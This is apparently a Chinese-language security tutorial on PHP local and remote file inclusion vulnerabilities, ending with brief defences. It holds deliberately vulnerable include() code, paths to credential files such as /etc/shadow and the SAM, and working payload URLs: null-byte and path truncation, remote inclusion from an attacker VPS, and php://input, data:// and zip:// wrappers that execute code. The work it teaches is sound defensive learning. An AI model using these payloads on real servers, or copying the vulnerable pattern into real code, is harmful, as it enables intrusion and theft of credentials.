浅谈文件包含漏洞
本文对文件包含漏洞与php封装协议的利用方法进行总结。才疏学浅,如有错误请指正~
- 文章目录
文章目录
概念
文件包含是PHP语言的一大特色,程序员们为了开发的方便,常常会用到文件包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句
<?php
include fuction.php
//.....
?>
就可以调用内部定义的函数。
简单一句话概括,为了更好的使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
成因
程序员为了灵活包含文件,通过动态变量来引入需要包含的文件,用户可以对变量的值可控,但服务器端并未对变量值进行合理检验或者校验被绕过,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
简单地说,用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。
文件包含漏洞通常出现在PHP语言中。如下面伪代码中,$file这个动态变量可被用户控制,存在文件包含漏洞
<?php
$file = $_GET['file'];
include($file);
// .....
?>
PHP常用文件包含函数
- include()
- include_once():在导入函数之前检测该文件之前是否被导入,是则不执行
- require()
- require_once():在导入函数之前检测该文件之前是否被导入,是则不执行
四个函数的差异 | 遇到错误,直接退出程序 | 遇到错误,继续执行 |
---|---|---|
不检测被包含文件之前是否被导入 | require() | include() |
检测被包含文件之前是否被导入 | require_once() | include_once() |
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
漏洞环境搭建
直接下载安装phpStudy,一款PHP集成环境,可一键切换多个不同PHP版本
本地文件包含漏洞(LFI)
LFI (Local File Include) 即本地文件包含
-
本地文件包含:所要包含的文件在本地
url:http://localhost/wenjianbaohan/b.php?url=1.txt
-
WEB开发中为什么使用本地文件包含?
- 网站页面的header/footer等通用信息通过include方式引入,提高代码重用性,加快开发速度
- 通用配置文件的引入,例如数据库配置、连接通过include方式引入
- 涉及输入安全过滤的代码统一封装成一个文件使用本地文件包含引入到不同输入功能处
无限制本地文件包含漏洞
测试文件file.php,代码如下:
<?php
$file = $_GET['file'];
include($file);
// .....
?>
未对$file变量进行校验,造成可包含任意文件,验证结果如下
常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
有限制本地文件包含漏洞
测试文件file2.php,代码如下:
<?php
$file = $_GET['file'];
include($file . ".html"); //包含传入文件名.html文件
// .....
?>
0x01:00字符截断
00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
漏洞编号:CVE-2006-7243
漏洞描述: PHP before 5.3.4 accepts the \0 character in a pathname, which might allow context-dependent attackers to bypass intended access restrictions by placing a safe file extension after this character, as demonstrated by .php\0.jpg at the end of the argument to the file_exists function.
需要注意的是00截断的限制条件:
- PHP < 5.3.4
- magic_quotes_gpc = Off
针对限制条件进行环境部署:
- phpstudy中选择PHP5.2.1
- 在php.ini配置文件中将magic_quotes_gpc从默认值On修改为Off
首先尝试包含1.txt文件,请求
http://www.lfi.com/file2.php?file=1.txt
结果如下图,由于代码中强制文件后缀名为html,若想包含不同的文件后缀名,即可使用00截断
进行请求:
http://www.lfi.com/file2.php?file=1.txt%00
即可成功绕过html后缀包含1.txt
0x02:路径长度截断
除了00截断绕过之外,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。
限制条件:
- PHP < 5.2.8(?) 经测试直到5.2.11也可截断成功
- linux需要文件名长于4096,windows需要长于256
因此通过【./】就可以构造出足够长的目录。比如
././././././././././././././././passwd
或者
passwd
针对限制条件部署环境:
- phpstudy中选择PHP5.2.1
- Windows10
进行请求:
http://www.lfi.com/file2.php?file=1.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
0x03:点号截断
限制条件:
- PHP < 5.2.8(?) 经测试直到5.2.11也可截断成功
- 只适用于windows,点号需要长于256
http://www.lfi.com/file2.php?file=1.txt...........................................................................................................................................................................................................................................
远程文件包含漏洞(RFI)
RFI (Remote File Include) 即远程文件包含
- 远程文件包含:所要包含的文件在其他主机上
- 需要文件所在主机php.ini中allow_url_include=on
url:http://localhost/wenjianbaohan/b.php?url=http://10.10.10.131/RFI/1.txt
无限制远程文件包含漏洞
测试代码file.php,代码如下:
<?php
$file = $_GET['file'];
include($file);
// .....
?>
限制条件:
- allow_url_include = On(PHP5.2版本开始,默认值即为Off)
- allow_url_fopen = On(默认值即On)
针对限制条件部署环境:
- php.ini 中将allow_url_include值修改为On
在腾讯云vps保存php.txt文件
<?php
phpinfo();
?>
进行包含php.txt文件请求:
http://www.lfi.com/file.php?file=http://xx.xx.xx.xx:x31/php.txt
有限制远程文件包含漏洞
测试文件file2.php,代码如下:
<?php
$file = $_GET['file'];
include($file . ".html"); //包含传入文件名.html文件
// .....
?>
代码加了html后缀,再次访问php.txt则报错
0x01:问号绕过
这里看似将路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去
限制条件:
- allow_url_include = On(PHP5.2版本开始,默认值即为Off)
- allow_url_fopen = On(默认值即On)
构造如下的攻击URL
http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x31/php.txt?
结果:
产生的原理:
?file=http://xx.xx.xx.xx:x31/php.txt?
最终目标应用程序代码实际上执行了:
include "http://xx.xx.xx.xx:x31/php.txt?.html";
(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)
0x02:#号绕过
限制条件:
- allow_url_include = On(PHP5.2版本开始,默认值即为Off)
- allow_url_fopen = On(默认值即On)
构造请求:
http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x631/php.txt%23
0x03:猜测文件后缀
限制条件:
- allow_url_include = On(PHP5.2版本开始,默认值即为Off)
- allow_url_fopen = On(默认值即On)
根据当前的web环境及功能点,查看报错信息或者猜测源码中包含函数要求的后缀名,在vps上保存php.html/php.txt/php.jpg/php.png等后缀名文件,然后构造请求:
http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x631/php
若存在包含函数要求的后缀名,即结果
PHP伪协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。
官方文档:https://www.php.net/manual/zh/wrappers.file.php
PHP中支持的伪协议,本文中测试PHP>=5.2
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
0x01:file://协议
-
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
-
作用:
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
-
用法:
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext
-
示例:
0x02:php://协议
-
条件:
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
-
作用:
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。 -
用法:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
协议 作用 php://input 可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。 在 enctype="multipart/form-data"
的时候php://input
是无效的。php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3
引用了文件描述符 3。php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory
总是把数据储存在内存中,而php://temp
会在内存量达到预定义的限制后(默认是2MB
)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()
的方式一致。php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式 (all-in-one)
的文件函数非常有用,类似readfile()
、file()
和file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器。-
php://filter
参数详解该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔 write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔 <; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链 -
可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 作用 string.rot13 等同于 str_rot13()
,rot13变换string.toupper 等同于 strtoupper()
,转大写字母string.tolower 等同于 strtolower()
,转小写字母string.strip_tags 等同于 strip_tags()
,去除html、PHP语言标签转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于 base64_encode()
和base64_decode()
,base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法
-
-
示例:
-
在allow_url_fopen=Off和allow_url_include=Off情况下,使用php://filter协议可以读取出文件源码
php://filter/read=convert.base64-encode/resource=file2.php
- allow_url_include=On的情况下,
php://input + [POST DATA]
执行php代码
http://www.lfi.com/file.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> //若具有写权限,可直接一句话getshell
-
0x03:zip:// & bzip2:// & zlib://协议
-
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
-
作用:
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:
jpg png gif xxx
等等。 -
用法:
3个封装协议,都是直接打开压缩文件。 compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包 compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包 zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
-
示例:
-
PHP >= 5.3.0,
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
(#编码为%23)先在本地压缩php.txt为php.zip,压缩包重命名为php.png,然后上传访问zip格式压缩包内容
http://www.lfi.com/file.php?file=zip://E:\tools\php.png%23php.txt
-
0x04:data://协议
-
条件:
allow_url_fopen
:onallow_url_include
:on- PHP >= 5.2.0
-
作用:自
PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 -
用法:
data://text/plain, data://text/plain;base64,
-
示例:
-
data://text/plain,
http://www.lfi.com/file.php?file=data://text/plain,%3C?php%20phpinfo();?%3E
-
data://text/plain;base64,
http://www.lfi.com/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
-
0x05:小结
漏洞防御
- PHP中使用open_basedir 配置限制访问在指定的区域
- 过滤 .(点)/ (斜杠) \(反斜杠)
- 禁止服务器远程文件包含
- 尽量不使用动态包含,在需要包含的页面固定写好